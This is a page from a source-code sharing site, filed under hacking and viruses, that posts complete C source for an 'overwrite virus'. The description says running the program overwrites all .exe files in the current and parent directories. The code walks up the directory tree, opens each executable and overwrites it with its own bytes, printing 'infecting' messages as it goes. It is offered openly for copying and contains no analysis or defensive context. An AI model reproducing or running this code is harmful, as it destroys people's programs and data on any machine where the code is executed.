Add to Favorites    Make Home Page 30172 Online  
 Language Categories  
 Our Services  

Home » C Home » Hacking & Cracking, Virus Home » overwrite virus coded in C

Title overwrite virus coded in C
Author Tapan Kumar Mishra
Author Email titu_igit [at]
Description It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory
Category C » Hacking & Cracking, Virus
Hits 39678
Code Select and Copy the Code
Code : /*A virus program coded by Tapan Kumar Mishra BE Electrical Engg. IGIT Sarang,Orissa 7th sem email */ #include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//open the virus in read mode host=fopen(f->ff_name,"rb+");//open the host file in r/w mode for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//points to begining of virus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("For any querry contact Tapan Kumar Mishra,");

Related Source Codes

Script Name Author
The Game Opposite as seen on Nokia 2300 Mobile Manikanta
Radix Sort ashish
Change your mouse pointer Ashim
The blinking star Shashank
Data Validation Crylittlebaby
To search a file by giving file type like mp3 or mpeg or doc Prashanth SR
Menus Demonstration B.Chidhambaram
Employee Database Project Using C. Reenku Raman Nayak
Creating a Lexical Analyzer in c fahad bader al-buhairi դ ? ??
Calendar Program Omkar & Devendra
Stop double Process for start in C Cedrik Jurak
Stop double Process for start in C Cedrik Jurak
Time Scheduler Atiq Anwar
A timepass game between atmost two players Rahul Roy

New! Click here to Add your Code!

ASP Home | C Home | C++ Home | COBOL Home | Java Home | Pascal Home
Source Codes Home Page

Google Search


Download Yahoo Messenger | Placement Papers | Free SMS | C Interview Questions | C++ Interview Questions | Quick2Host Review